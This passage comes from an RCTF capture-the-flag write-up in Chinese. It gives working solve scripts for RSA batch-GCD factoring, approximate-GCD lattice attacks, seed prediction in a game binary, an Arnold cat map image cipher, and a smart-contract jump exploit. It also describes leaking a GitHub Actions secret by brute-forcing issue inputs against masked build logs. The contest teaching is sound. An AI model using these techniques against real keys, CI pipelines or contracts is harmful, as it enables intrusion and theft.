本题中$n = 2^{22}$,概率$P \approx 0.9999986512965013$,几乎是必然会存在collision了。
n | P |
---|---|
2^19 | 0.190382106 |
2^20 | 0.570344829 |
2^21 | 0.965921578 |
2^22 | 0.999998651 |
只要两两GCD即可找到collision,即分解出来$p$。
但是trivial algorithm需要$O(n^2)$的复杂度。
想起来以前看过的一篇paper: Mining Your Ps and Qs: Detection of Widespread Weak Keys in Network Devices
里面提供了一个$O(n\log{n})$复杂度的算法:

用Python实现了一下
from Crypto.Util.number import GCD
from Crypto.PublicKey import RSA
import sys
with open("lN.bin", "rb") as f:
data = f.read()
Ns = []
for i in range(0, len(data), 64):
Ns.append(int.from_bytes(data[i:i+64], 'big'))
del data
Ns = list(set(Ns))[2**21:2**22]
print(f"read ok!\nlen(Ns): {len(Ns)}")
# product tree
print("product tree start")
mid_prod_list = [Ns]
while True:
prev_prod_list = mid_prod_list[-1]
next_prod_list = list()
for i in range(0, len(prev_prod_list)-1, 2):
next_prod_list.append(prev_prod_list[i]*prev_prod_list[i+1])
if len(prev_prod_list) & 1:
next_prod_list.append(prev_prod_list[-1])
print(len(next_prod_list))
# keep it
mid_prod_list.append(next_prod_list)
# update
prev_prod_list = next_prod_list
if len(next_prod_list) == 1:
break
P = mid_prod_list[-1][0]
print("product tree over")
print(f"len(mid_prod_list) = {len(mid_prod_list)}")
print(f"P: {sys.getsizeof(P)/1024}KB")
# remainder tree
print("remainder tree start")
remainder_list = [P]
for prod_list in mid_prod_list[:-1][::-1]:
print(len(prod_list))
new_remainder_list = list()
for i in range(len(prod_list)):
new_remainder_list.append(remainder_list[i//2] % (prod_list[i])**2)
print(len(new_remainder_list))
remainder_list = new_remainder_list
print("remainder tree over")
for i in range(len(remainder_list)):
N = Ns[i]
z = remainder_list[i]
if GCD(N, z//N) != 1:
p = GCD(N, z//N)
q = N // p
print(i, N, p, q)
break
Python太慢了。。。
后来又在GitHub上找到了这篇paper的实现代码: https://github.com/sagi/fastgcd ,是C语言写的,很快。
只要解析一下模数放到input.moduli文件中,然后./fastgcd input.moduli
跑就完事,跑完的结果在./gcds
文件里。
选了$2^{21}$个模数,(默认)4线程用时215s:

改下源码,换成16线程,用时128s:

Uncommon Factors II
$$
p = s + \Delta \
N = p \cdot q = q\Delta + qs
$$
s: 312bit
p: 200bit
$\Delta$: 104bit
approximate gcd
# read data
with open("lN.bin", "rb") as f:
data = f.read()
Ns = []
for i in range(0, len(data), 64):
Ns.append(int.from_bytes(data[i:i+64], 'big'))
# deduplicate
Ns = list(set(Ns))
# randomize
shuffle(Ns)
Ns = Ns[:50]
# https://eprint.iacr.org/2016/215.pdf Section 3
t = len(Ns) - 1
m = matrix(ZZ, len(Ns), len(Ns))
m[0,0] = scale = 2**304
for i in range(t):
m[0, 1+i] = Ns[1+i]
m[1+i,1+i] = Ns[0]
ml = m.LLL()
s = Ns[0] // (ml[0][0] // scale)
s = abs(s)
print(f"s = {s}")
print(int(s).bit_length())
print(bytes.fromhex(hex(s>>104)[2:]))
# s = 5454658667965481801475881307368950020783908545117568437319138213194998453685853356091640271093
# 312
# b'\xa7[\xe3\x02l\xa0\xca\xf4.\xacSimpl3_LLL_TrIck'
MISC
welcome_to_rctf
签到题
FeedBack
问卷题
CheckIn
Github的Workflows中,查看build日志可以发现,secret值是被隐藏起来的,flag为5位纯数字,所以只要给它提issues,传入00000-99999,然后去build log看对应的哪5位数替换成了
,对应的就是flag值

如图,所以flag为:RCTF{52079}
Monopoly
有3个游戏难度,要在hard难度下拿到1000w money才能给flag
hard难度一开始可以输入一个seed,用来srand(seed)
初始化随机数生成函数。
每一轮玩家和ai依次扔骰子(12点数)
地图大小64格
每一个格子有以下几种类型:
- 地块
- 免费暂停
- 抽奖(可能会输,也可能翻倍money) 冲!就这个点

地图:
[1, 1, 1, 3, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 3, 1, 1, 1, 2, 1, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1, 3, 1, 1, 1, 1, 1, 1, 1, 2, 1, 1, 3, 1, 1, 1, 1, 2, 1, 1, 1, 1, 1, 1, 1]
要满足一个种子走全3且rand出来的事件都是double很难。
但是存放位置,钱数量的变量在BSS上,且每次退出开始都没有置零,所以我们可以分开多次不同种子去实现double*5。
之后分别按照3的步数去走,第一次rand走到3,第二次rand保证>0xef,之后他还会再往前rand跳个步数。一直预测,预测五次double money后就满足>1000w条件
from pwn import *
r=remote('123.60.25.24',20031)
#r=process('./monopoly')
r.sendline('zihu4n')
def newplay(i):
r.recvuntil('want play')
r.sendline('3')
r.sendline(str(i))
r.sendline('4')
newplay(177)
newplay(639)
newplay(353)
newplay(130)
newplay(1849)
r.interactive()
coolcat
测试几个小图片发现,服务器总是返回600*600
的加密图片(会对小图片进行重复拼接),所以为了方便跟踪前后坐标的变化,尝试把整张图片的值全设为(0,0,0),只保留一个像素点的值为(255,255,255),然后跟踪这个点的移动情况。
构造600x600黑色图片并设置一个白像素点:
from PIL import Image
def generate_image(pos, img_name):
img = Image.new("RGB", (600, 600), (0, 0, 0))
img.putpixel(pos, (255, 255, 255))
img.save(img_name)
def get_point(img_name):
img = Image.open(img_name)
width, height = img.size
dim = width, height = img.size
pList = []
for x in range(width):
for y in range(height):
if sum(img.getpixel((x, y))) >= 200*3:
pList.append((x, y))
return pList
(1, 0) --> (409, 330)
(0, 1) --> (330, 589)
(0, 2) --> (60, 578)
(57, 89) --> (483, 431)
用得到的这些信息(明文-密文对)对 p,q,m 进行爆破,得到25组情况(取2-4个点都是同样的25组)。
from tqdm import tqdm
def f(start, p, q):
x, y = start
nx = (x + y * p) % 600
ny = (x * q + y * (p * q + 1)) % 600
return (nx, ny)
def reverse(end, data):
p, q, m = data
nx, ny = end
for _ in range(m):
x = ((p * q + 1) * nx - p*ny) % 600
y = (ny - q * nx) % 600
nx, ny = x, y
return (nx, ny)
def bf(start, target):
ans = []
for p in tqdm(range(600)):
for q in range(600):
tmp = start
for m in range(10):
tmp = [f(t, p, q) for t in tmp]
if tmp == target and start == [reverse(e, (p, q, m+1)) for e in target]:
print("[+]", p, q, m)
ans.append((p, q, m))
return ans
r = bf([(1, 0), (0, 1), (0, 2), (57, 89)], [(409, 330), (330, 589), (60, 578), (483, 431)])
[+] p q m
[+] 66 66 4
[+] 66 186 4
[+] 66 306 4
[+] 66 426 4
[+] 66 546 4
[+] 186 66 4
[+] 186 186 4
[+] 186 306 4
[+] 186 426 4
[+] 186 546 4
[+] 306 66 4
[+] 306 186 4
[+] 306 306 4
[+] 306 426 4
[+] 306 546 4
[+] 426 66 4
[+] 426 186 4
[+] 426 306 4
[+] 426 426 4
[+] 426 546 4
[+] 546 66 4
[+] 546 186 4
[+] 546 306 4
[+] 546 426 4
[+] 546 546 4
可以发现m恒为4,p,q有很多组取值情况,反推验证发现这些都是符合条件的。
但是尝试了几组p,q,m去解加密的flag图片还是解不出,可能是筛选pqm的样本太少了。
p, q, m = 66, 66, 4
def f(pos):
x, y = pos
nx = (x + y * p) % 600
ny = (x * q + y * (p * q + 1)) % 600
return (nx, ny)
def g(pos):
x, y = pos
nx = ((p * q + 1) * x - p * y) % 600
ny = (y - q * x) % 600
return (nx, ny)
f0 = (569, 284)
f1 = f(f0)
f2 = f(f1)
f3 = f(f2)
f4 = f(f3)
f5 = f(f4)
(f1,f2,f3,f4,f5)
# ((113, 542), (485, 152), (317, 74), (401, 140), (41, 446))
测试不同图片格式的时候发现,同样位置的白点,只要格式不一样,返回的图片(jpeg格式)上的白点位置也会不一样,所以有参数发生了变化。列出m不同情况下的(569, 284)偏移量,发现(317, 74)和(41, 446)分别对应m=3,m=5,所以m发生了变化,这时只需要对$m\in [1,5]$枚举一下,p q
选择66 66
,即可解密得到原图。
jpg : (569, 284) --> (317, 74)
jpeg: (569, 284) --> (41, 446)
exp:
from PIL import Image
def reverse(end, data):
p, q, m = data
nx, ny = end
for _ in range(m):
x = ((p * q + 1) * nx - p * ny) % 600
y = (ny - q * nx) % 600
nx, ny = x, y
return (nx, ny)
def dec_ACM(img):
p, q, m = 66, 66, 3
assert img.size[0] == img.size[1]
dim = width, height = img.size
with Image.new(img.mode, dim) as canvas:
for x in range(width):
for y in range(height):
nx, ny = reverse((x, y), (p, q, m))
canvas.putpixel((nx, ny), img.getpixel((x, y)))
return canvas
dec_ACM(Image.open("flag_enc.jpg")).save("flag.jpg")
Blockchain
EasyFJump
过proof of work:
from pwn import *
from hashlib import sha256
conn = remote("121.37.179.71", 10001)
# context.log_level = "debug"
conn.recvuntil(b"sha256(")
challenge = conn.recvline().strip().decode()
prefix = challenge.split("+")[0]
difficulty = challenge.split("('")[1].split("')")[0]
print(f"prefix: {prefix}")
nonce = 0
while True:
if nonce % 100000 == 0:
print(f"nonce: {nonce}")
digest = sha256((prefix + str(nonce)).encode()).hexdigest()
if digest.endswith("00000"):
break
nonce += 1
print(f"find nonce: {nonce}")
conn.sendlineafter(b"?=", str(nonce).encode())
conn.interactive()
[-] input your choice: 1
[+] Your game account:0x9D1f9BaA8578DD6C6c57d45ac826b0c46D4dbe21
[+] token: MqvvcGfCsr9kEa/5X2/XPkca8H937Gyh53lVdySMMiDpESxfWOeF10kVPrSz8Alz1+p6Lsir6pWg4OiKIwx6kIEMeS71zEjgN7RflTm4rQkgwjfY0znT5vwIxMGtn4It2ll3d8mtlsT/53iwlr4qKhkGbG7vKnfnhblqD3ITqPc=
[+] Deploy will cost 343308 gas
[-] input your choice: 2
[-] input your token: MqvvcGfCsr9kEa/5X2/XPkca8H937Gyh53lVdySMMiDpESxfWOeF10kVPrSz8Alz1+p6Lsir6pWg4OiKIwx6kIEMeS71zEjgN7RflTm4rQkgwjfY0znT5vwIxMGtn4It2ll3d8mtlsT/53iwlr4qKhkGbG7vKnfnhblqD3ITqPc=
[+] new token: rmRp7K+/0euelrXbWWwGENwX9IkAjLegetlBV0bcBEbnqNBRgYUalXhJmTy7/vhxsyx5Mr+YBk4e+xKR4nAnXLkPIY1+eGWjcN9mn6anOkMJvUkoLdoq8Q4TkdRgSkokKJ4S4Y0XitbDv55o1C2V9rtyiXxAI86YahwlNEY/z0d5ryUxDmMu/BJUw5L8vNgVUU28ePcJeXWw8V/DtK9j1Q==
[+] Your goal is to emit ForFlag(address addr) event
[+] Transaction hash: 0x8c1a7b7452c344207ae415d4a461ce0f55ad69656ebe71d10c4d4198e52cecf3
~ ❯ geth attach http://121.37.179.71:8545
Welcome to the Geth JavaScript console!
modules: debug:1.0 eth:1.0 net:1.0 rpc:1.0 web3:1.0
To exit, press ctrl-d
> eth.getTransactionReceipt("0x8c1a7b7452c344207ae415d4a461ce0f55ad69656ebe71d10c4d4198e52cecf3")
{
blockHash: "0x980a75bcc59e4e252bf064c8528a6b7a02d73fbef1767eaff7aff6fda70c4277",
blockNumber: 79081,
contractAddress: "0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",
cumulativeGasUsed: 260238,
effectiveGasPrice: 1000000000,
from: "0x9d1f9baa8578dd6c6c57d45ac826b0c46d4dbe21",
gasUsed: 260238,
logs: [],
logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
status: "0x1",
to: null,
transactionHash: "0x8c1a7b7452c344207ae415d4a461ce0f55ad69656ebe71d10c4d4198e52cecf3",
transactionIndex: 0,
type: "0x0"
}
> eth.getCode("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8")
"0x608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b21d5251461005c57806380e10aa51461009d57806389068995146100b4575b600080fd5b34801561006857600080fd5b5061009b6004803603810190808035906020019092919080359060200190929190803590602001909291905050506100be565b005b3480156100a957600080fd5b506100b26100d8565b005b6100bc61021f565b005b826000819055508160018190555080600281905550505050565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60010233604051602001808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506040516020818303038152906040526040518082805190602001908083835b60208310151561017d5780518252602082019150602081019050602083039250610158565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161415156101ba57600080fd5b7f89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e233604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b610227610320565b60006a01f06512dec2c2c6e8ab3561023d6102f8565b14151561024957600080fd5b6a02b262ac4c65fddc17c7d561025d6102f8565b14151561026957600080fd5b6a02125ed5d7ddf56b0eba2861027d6102f8565b14151561028957600080fd5b6a018fbbc52638a0f3d00fee61029d6102f8565b1415156102a957600080fd5b6100d8826000019067ffffffffffffffff16908167ffffffffffffffff168152505061ffff600254600154600054030316905080348351010382526102f4826000015163ffffffff16565b5050565b6000600254600154600054600354020181151561031157fe5b06600381905550600354905090565b60206040519081016040528061033581525090565bfe00a165627a7a723058205e574cafe90a8834ebd97835ad7217711bc7b1f82758c9e9fad370cc564164770029"
要先过一个仿射密码
> eth.getStorageAt("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",0)
"0x0000000000000000000000000000000000000000000000000000000000000000"
> eth.getStorageAt("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",1)
"0x0000000000000000000000000000000000000000000000000000000000000000"
> eth.getStorageAt("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",2)
"0x0000000000000000000000000000000000000000000000000000000000000000"
> eth.getStorageAt("0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8",3)
"0x0000000000000000000000000000000000000000000000259c30dc979a94f999"
$$
v_1 \equiv av_0 + b \pmod{m} \
v_2 \equiv av_1 + b \pmod{m} \
v_3 \equiv av_2 + b \pmod{m} \
v_4 \equiv av_3 + b \pmod{m}
$$
化成等式
$$
v_1 \equiv av_0 + b - k_1m \
v_2 \equiv av_1 + b - k_2m \
v_3 \equiv av_2 + b - k_3m \
v_4 \equiv av_3 + b - k_4m
$$
做差
$$
t_1 = v_2 - v_1 = (v_1-v_0)a - (k_2 - k_1)m \
t_2 = v_3 - v_2 = (v_2-v_1)a - (k_3 - k_2)m \
t_3 = v_4 - v_3 = (v_3-v_2)a - (k_4 - k_3)m \
$$
消去带$a$的项
$$
p_1 = (v_2-v_1)t_1 - (v_1-v_0)t_2 = m (...)\
p_2 = (v_3-v_2)t_1 - (v_1-v_0)t_3 = m (...)\
p_3 = (v_3-v_2)t_2 - (v_2-v_1)t_3 = m (...)
$$
求GCD即可: m = gcd(gcd(p1, p2), p3)
m = 0x035b398678f7d30369dd4f (storage[2])
a = 0x88f2c5dad2ceaa0117f5 (storage[0])
b = 0x799b5d5ba62505c2fcf (storage[1])
tmp = (a - b - m) & 0xFFFF = 0x0ad7
target = 0x00d8 + msg.value - tmp
jump target:

(0x00d8 + msg.value) - 0x0ad7 == 0x01BA
msg.value = 3001
利用思路:
call 0x0b21d525 + a + b + m
call 0x89068995 with msg.value = 3001
私钥: b"66666666666666666666666666666666"
地址: 0x0DF5283B84D83637e3E6AAC675cE922d558b296e
交互
from web3 import Web3, HTTPProvider
w3 = Web3(Web3.HTTPProvider("http://121.37.179.71:8545"))
private = b"66666666666666666666666666666666".hex()
public = "0x0DF5283B84D83637e3E6AAC675cE922d558b296e"
contractAddr = "0xb0003ab3acc5c65620a8be08aca0bbb5fa1e9ba8"
def generate_tx(to, data, value):
if(type(to) is int):
to = '0x'+hex(to)[2:].rjust(40,'0')
txn = {
'chainId': w3.eth.chainId,
'from': Web3.toChecksumAddress(public),
'to': Web3.toChecksumAddress(to),
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(value, 'wei'),
'data': data,
}
return txn
def sign_and_send(txn):
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
# txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_hash
func1 = "0x0b21d525"
a = 0x88f2c5dad2ceaa0117f5
b = 0x799b5d5ba62505c2fcf
m = 0x035b398678f7d30369dd4f
data1 = func1 + hex(a)[2:].zfill(0x20*2) + hex(b)[2:].zfill(0x20*2) + hex(m)[2:].zfill(0x20*2)
print(f"data1: {data1}")
tx1 = generate_tx(contractAddr, data1, 0)
print(f"tx1: {tx1}")
sign_and_send(tx1)
func2 = "0x89068995"
data2 = func2
print(f"data2: {data2}")
tx2 = generate_tx(contractAddr, data2, 3001)
print(f"tx2: {tx2}")
sign_and_send(tx2)

最新评论